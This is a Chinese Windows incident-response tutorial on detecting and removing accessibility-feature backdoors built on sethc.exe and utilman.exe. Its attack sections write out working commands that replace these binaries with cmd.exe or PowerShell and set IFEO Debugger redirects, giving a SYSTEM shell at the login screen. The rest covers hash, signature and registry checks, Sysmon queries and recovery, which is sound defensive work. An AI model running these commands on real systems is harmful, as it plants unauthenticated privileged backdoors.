Windows应急响应 - 27 辅助功能后门

辅助功能后门排查 (Accessibility Feature Backdoor)

辅助功能后门是Windows平台上最古老的持久化/后门技术之一

核心原理: 在**登录屏幕(未认证状态)**下替换或劫持辅助功能程序,获得SYSTEM权限Shell

攻击者无需知道任何账户密码即可获得系统访问权限

相关参考: 25-IFEO与AppInit-DLLs后门

一、辅助功能程序概述

1.1 可被利用的目标二进制文件

Windows提供多个辅助功能程序,可在登录屏幕触发:

程序 路径 触发方式 说明
sethc.exe C:\Windows\System32\sethc.exe 连按5次Shift键 粘滞键(Sticky Keys),最常被滥用
utilman.exe C:\Windows\System32\utilman.exe Win+U 或点击”轻松使用” 辅助工具管理器
osk.exe C:\Windows\System32\osk.exe 通过utilman启动 屏幕键盘(On-Screen Keyboard)
narrator.exe C:\Windows\System32\narrator.exe 通过utilman启动 讲述人(Narrator)
magnify.exe C:\Windows\System32\magnify.exe 通过utilman启动 放大镜(Magnifier)
DisplaySwitch.exe C:\Windows\System32\DisplaySwitch.exe Win+P 显示切换
AtBroker.exe C:\Windows\System32\AtBroker.exe 辅助技术代理 AT代理

1.2 为什么辅助功能可被滥用

关键点: 这些程序在**Windows登录屏幕(Winlogon桌面)**就可以被调用

在登录屏幕运行时,它们以SYSTEM权限执行

用户无需输入任何凭据即可触发

适用场景: 物理访问、RDP连接到登录界面、通过其他漏洞获得写权限

1.3 历史背景

粘滞键后门是Windows安全领域最经典的后门技术之一

最早可追溯到Windows XP/2003时代

在早期Windows版本中,由于没有文件保护机制,替换极其简单

如今Windows File Protection(WFP)和Windows Resource Protection(WRP)增加了难度

但攻击者仍可通过离线修改(PE启动)、IFEO重定向等方式绕过

二、攻击方法一: 直接替换二进制文件

2.1 经典替换手法

最直接的方式是将cmd.exe复制覆盖辅助功能程序:

1
2
3
4
5
:: 备份原始文件(攻击者视角,实战中攻击者可能不备份)
copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc.exe.bak

:: 用cmd.exe替换sethc.exe
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

替换utilman.exe:

1
2
3
4
:: 替换辅助工具管理器
takeown /f C:\Windows\System32\utilman.exe
icacls C:\Windows\System32\utilman.exe /grant administrators:F
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe

替换后效果:

在RDP登录界面连按5次Shift -> 弹出SYSTEM权限的cmd.exe

在RDP登录界面按Win+U -> 弹出SYSTEM权限的cmd.exe

2.2 通过离线方式替换(绕过文件保护)

当系统在线时,Windows Resource Protection(WRP)会阻止替换

攻击者通常通过以下方式绕过:

PE启动盘离线修改: 从WinPE/Linux LiveCD启动,直接操作磁盘文件

卷影副本: 利用Volume Shadow Copy访问受保护文件

TrustedInstaller权限: 获取TrustedInstaller令牌后直接替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 获取TrustedInstaller权限后替换(需要特殊工具)
# 使用PowerShell直接操作需要先获取所有权
$acl = Get-Acl "C:\Windows\System32\sethc.exe"
$owner = New-Object System.Security.Principal.NTAccount("BUILTIN\Administrators")
$acl.SetOwner($owner)
Set-Acl "C:\Windows\System32\sethc.exe" $acl

# 授予完全控制权限
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule(
"BUILTIN\Administrators", "FullControl", "Allow"
)
$acl.SetAccessRule($rule)
Set-Acl "C:\Windows\System32\sethc.exe" $acl

# 替换
Copy-Item "C:\Windows\System32\cmd.exe" "C:\Windows\System32\sethc.exe" -Force

2.3 使用PowerShell或其他程序替换

不一定用cmd.exe替换,也可能用:

PowerShell.exe - 获得更强大的命令环境

自定义后门程序 - 带有C2通信功能

反向Shell程序 - 自动连接攻击者服务器

1
2
3
4
5
:: 用PowerShell替换
copy /Y C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\sethc.exe

:: 用自定义后门替换
copy /Y C:\temp\backdoor.exe C:\Windows\System32\sethc.exe

三、攻击方法二: IFEO Debugger重定向

3.1 IFEO机制简介

IFEO (Image File Execution Options) 是Windows调试机制

详细原理参见 25-IFEO与AppInit-DLLs后门

通过设置Debugger键值,可以在程序启动时重定向到另一个程序

这种方式不修改原始文件,更加隐蔽

3.2 IFEO劫持辅助功能

通过注册表IFEO重定向sethc.exe到cmd.exe:

1
2
:: 设置IFEO Debugger重定向sethc.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f

重定向utilman.exe:

1
2
:: 设置IFEO Debugger重定向utilman.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f

重定向到PowerShell:

1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /f

3.3 IFEO方式的优势(攻击者视角)

不修改系统文件 -> 不触发WRP保护

不改变文件Hash -> 简单的Hash检查无法发现

原始辅助功能程序完好无损

仅需注册表写入权限(管理员即可)

比文件替换更容易实施

3.4 组合攻击: IFEO + 自定义载荷

攻击者可能将IFEO指向自定义后门:

1
2
:: 指向隐藏的后门程序
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\ProgramData\debug.exe" /f

配合其他持久化机制使用,形成多层防御

四、检测方法

4.1 文件Hash验证

对所有辅助功能程序进行Hash验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 检查所有辅助功能二进制文件的Hash
$accessibilityFiles = @(
"C:\Windows\System32\sethc.exe",
"C:\Windows\System32\utilman.exe",
"C:\Windows\System32\osk.exe",
"C:\Windows\System32\narrator.exe",
"C:\Windows\System32\magnify.exe",
"C:\Windows\System32\DisplaySwitch.exe",
"C:\Windows\System32\AtBroker.exe"
)

foreach ($file in $accessibilityFiles) {
if (Test-Path $file) {
$hash = (Get-FileHash $file -Algorithm SHA256).Hash
$size = (Get-Item $file).Length
$modified = (Get-Item $file).LastWriteTime
Write-Host "文件: $file"
Write-Host " SHA256: $hash"
Write-Host " 大小: $size bytes"
Write-Host " 修改时间: $modified"
Write-Host ""
}
}

与cmd.exe的Hash进行对比(检测直接替换):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$cmdHash = (Get-FileHash "C:\Windows\System32\cmd.exe" -Algorithm SHA256).Hash
$pshHash = (Get-FileHash "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Algorithm SHA256).Hash

foreach ($file in $accessibilityFiles) {
if (Test-Path $file) {
$fileHash = (Get-FileHash $file -Algorithm SHA256).Hash
if ($fileHash -eq $cmdHash) {
Write-Host "[CRITICAL] $file 已被cmd.exe替换!" -ForegroundColor Red
}
if ($fileHash -eq $pshHash) {
Write-Host "[CRITICAL] $file 已被powershell.exe替换!" -ForegroundColor Red
}
}
}

4.2 数字签名验证

使用sigcheck验证文件签名(Sysinternals工具):

1
2
3
4
5
6
:: 使用sigcheck检查数字签名
sigcheck.exe -a -h C:\Windows\System32\sethc.exe
sigcheck.exe -a -h C:\Windows\System32\utilman.exe
sigcheck.exe -a -h C:\Windows\System32\osk.exe
sigcheck.exe -a -h C:\Windows\System32\narrator.exe
sigcheck.exe -a -h C:\Windows\System32\magnify.exe

PowerShell验证数字签名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
foreach ($file in $accessibilityFiles) {
$sig = Get-AuthenticodeSignature $file
$status = $sig.Status
$signer = $sig.SignerCertificate.Subject
if ($status -ne "Valid") {
Write-Host "[ALERT] $file 签名无效! Status: $status" -ForegroundColor Red
} else {
if ($signer -notmatch "Microsoft") {
Write-Host "[ALERT] $file 签名者非Microsoft: $signer" -ForegroundColor Red
} else {
Write-Host "[OK] $file 签名有效 (Microsoft)" -ForegroundColor Green
}
}
}

4.3 IFEO注册表检查

检查所有辅助功能程序的IFEO配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$targets = @("sethc.exe", "utilman.exe", "osk.exe", "narrator.exe",
"magnify.exe", "DisplaySwitch.exe", "AtBroker.exe")

foreach ($exe in $targets) {
$regPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$exe"
if (Test-Path $regPath) {
$debugger = (Get-ItemProperty $regPath -ErrorAction SilentlyContinue).Debugger
if ($debugger) {
Write-Host "[CRITICAL] IFEO Debugger设置: $exe -> $debugger" -ForegroundColor Red
} else {
Write-Host "[INFO] IFEO键存在但无Debugger: $exe" -ForegroundColor Yellow
}
}
}

使用reg query命令检查:

1
2
3
4
5
6
:: 检查所有辅助功能的IFEO设置
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger 2>nul
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v Debugger 2>nul
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe" /v Debugger 2>nul
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe" /v Debugger 2>nul
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger 2>nul

4.4 Sysmon与事件日志检测

Sysmon Event ID 1 (进程创建) - 检测异常辅助功能调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
# 查找sethc.exe/utilman.exe的异常进程创建
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-Sysmon/Operational'
Id = 1
} -MaxEvents 5000 | Where-Object {
$_.Message -match 'sethc\.exe|utilman\.exe|osk\.exe|narrator\.exe|magnify\.exe'
} | ForEach-Object {
[PSCustomObject]@{
Time = $_.TimeCreated
CommandLine = ($_.Properties[10].Value)
ParentImage = ($_.Properties[20].Value)
}
} | Format-Table -AutoSize

Sysmon Event ID 11 (文件创建) - 检测辅助功能文件被修改:

1
2
3
4
5
6
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-Sysmon/Operational'
Id = 11
} -MaxEvents 5000 | Where-Object {
$_.Message -match 'sethc\.exe|utilman\.exe|osk\.exe|narrator\.exe|magnify\.exe'
} | Select-Object TimeCreated, Message | Format-List

Sysmon Event ID 13 (注册表修改) - 检测IFEO变更:

1
2
3
4
5
6
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-Sysmon/Operational'
Id = 13
} -MaxEvents 5000 | Where-Object {
$_.Message -match 'Image File Execution Options.*(sethc|utilman|osk|narrator|magnify)'
} | Select-Object TimeCreated, Message | Format-List

4.5 进程行为分析

正常情况下,辅助功能程序不应在Winlogon桌面以外频繁启动

检查当前运行的可疑进程:

1
2
3
4
5
6
7
8
9
10
11
12
13
# 检查是否有cmd.exe以sethc.exe名义运行
Get-Process | Where-Object {
$_.ProcessName -in @("sethc", "utilman", "osk", "narrator", "magnify")
} | ForEach-Object {
$path = $_.Path
$hash = if ($path) { (Get-FileHash $path).Hash } else { "N/A" }
[PSCustomObject]@{
Name = $_.ProcessName
PID = $_.Id
Path = $path
Hash = $hash
}
} | Format-Table -AutoSize

五、应急响应处置

5.1 恢复被替换的文件

从Windows组件存储(WinSxS)恢复:

1
2
3
4
5
:: 使用SFC恢复被替换的系统文件
sfc /scannow

:: 或者使用DISM恢复
DISM /Online /Cleanup-Image /RestoreHealth

从安装介质恢复:

1
2
3
4
5
:: 从Windows安装ISO中提取原始文件
:: 先挂载安装ISO,找到install.wim
dism /mount-wim /wimfile:D:\sources\install.wim /index:1 /mountdir:C:\mount
copy C:\mount\Windows\System32\sethc.exe C:\Windows\System32\sethc.exe
dism /unmount-wim /mountdir:C:\mount /discard

从其他相同版本的正常机器复制:

1
2
# 从已知正常的机器复制文件
Copy-Item "\\clean-machine\C$\Windows\System32\sethc.exe" "C:\Windows\System32\sethc.exe" -Force

5.2 清除IFEO注册表项

删除恶意IFEO Debugger键值:

1
2
3
:: 删除IFEO Debugger
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /f
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v Debugger /f

PowerShell方式:

1
2
3
4
5
6
7
8
9
10
11
$targets = @("sethc.exe", "utilman.exe", "osk.exe", "narrator.exe", "magnify.exe")
foreach ($exe in $targets) {
$path = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$exe"
if (Test-Path $path) {
$debugger = (Get-ItemProperty $path -ErrorAction SilentlyContinue).Debugger
if ($debugger) {
Remove-ItemProperty -Path $path -Name "Debugger" -Force
Write-Host "[FIXED] 已移除 $exe 的IFEO Debugger: $debugger" -ForegroundColor Green
}
}
}

5.3 加固防护

禁用不需要的辅助功能(登录屏幕):

1
2
3
4
5
6
# 通过注册表禁用粘滞键快捷方式
Set-ItemProperty -Path "HKCU:\Control Panel\Accessibility\StickyKeys" -Name "Flags" -Value "506"

# 通过GPO禁止在登录屏幕使用辅助工具
# Computer Configuration > Administrative Templates > System >
# 限制辅助功能程序的使用

对System32目录启用文件完整性监控(FIM)

配置Sysmon监控IFEO注册表变更和系统文件替换

限制对System32目录的写入权限(仅TrustedInstaller)

六、MITRE ATT&CK映射

技术ID 名称 说明
T1546.008 Event Triggered Execution: Accessibility Features 辅助功能程序替换/劫持
T1546.012 Event Triggered Execution: Image File Execution Options IFEO Debugger重定向

该技术属于Persistence和Privilege Escalation战术

实际案例: APT3、APT29、Deep Panda等组织均使用过粘滞键后门

七、总结

辅助功能后门排查核心要点:

文件验证: 对sethc.exe、utilman.exe等计算Hash并与已知正常值比对

签名检查: 验证所有辅助功能程序的Microsoft数字签名

IFEO检查: 排查IFEO注册表中是否存在Debugger重定向

日志分析: Sysmon进程创建/文件修改/注册表修改事件

恢复方式: SFC/DISM修复 + 删除IFEO注册表项

虽然是”古老”技术,但由于简单有效,至今仍在实际攻击中被使用

深入了解IFEO机制: 25-IFEO与AppInit-DLLs后门


上一章 目录 下一章
26-PowerShell-Profile后门 Windows应急响应 28-AD持久化-Golden-Silver-Ticket